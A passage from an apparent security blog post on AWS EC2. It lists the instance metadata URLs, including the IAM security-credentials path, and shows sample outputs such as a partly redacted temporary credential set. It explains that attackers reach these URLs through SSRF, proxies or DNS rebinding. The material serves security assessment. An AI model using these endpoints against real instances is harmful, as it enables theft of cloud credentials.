http://169.254.169.254/latest/meta-data/ami-id The AMI ID used to launch the instance.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ If there is an IAM role associated it returns its name (which can be used in the next handler).
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role (for more information, see Retrieving Security Credentials from Instance Metadata). Otherwise, not present.
http://169.254.169.254/latest/user-data Returns a user-defined script which is run every time a new EC2 instance is launched for the first time.

Usage example are described in the following:

Result:
ami-336b4456

Result:
IAM_TEST_S3_READ

Result:
{
 "Code" : "Success",
 "LastUpdated" : "2018-08-27T15:23:14Z",
 "Type" : "AWS-HMAC",
 "AccessKeyId" : "AS[REDACTED]TEM",
 "SecretAccessKey" : "EgKirlp[REDACTED]hkYp",
 "Token" : "FQoGZXIvYXdzEJH//////////wE[REDACTED]=",
 "Expiration" : "2018-08-27T21:36:24Z"
}

Result:
#!/bin/bash -xe
sudo apt-get update
# install coturn
apt-get install -y coturn
# install kms
sudo apt-get update
sudo apt-get install -y wget
echo "deb http://ubuntu.kurento.org xenial kms6" | sudo tee /etc/apt/sources.list.d/kurento.list
wget -O - http://ubuntu.kurento.org/kurento.gpg.key | sudo apt-key add -
sudo apt-get update
sudo apt-get install -y kurento-media-server-6.0
systemctl enable kurento-media-server-6.0
# enable coturn
sudo echo TURNSERVER_ENABLED=1 > /etc/default/coturn
# turn config file
sudo cat >/etc/turnserver.conf<<-EOF
[...]

sudo /usr/local/bin/cfn-signal -e $? --stack arn:aws:cloudformation:us-east-2:118366151276:stack/KurentoMinded/3cbb23a0-3d77-11e8-953d-503f3157b035 --resource WaitCondition --region us-east-2

To take advantage of such juice information, the attacker has to find a way to query http://169.254.169.254 from within the EC2 instance itself. There are many ways in which this can be accomplished from being able to find a Server Side Request Forgery (SSRF) vulnerability, or exploit a proxy setup on the EC2 instance all the way to DNS rebinding as described by Alexandre Kaskasoli.

Conclusion of Part 2

AWS EC2 is undeniably a powerful service that many companies are taking advantage of. As described above, the security of an AWS EC2 instance is crucial to keep a company safe from malicious attackers. This post wrapped up the main security issues related to AWS EC2 instances and how security experts can test the presence of such issues during an assessment.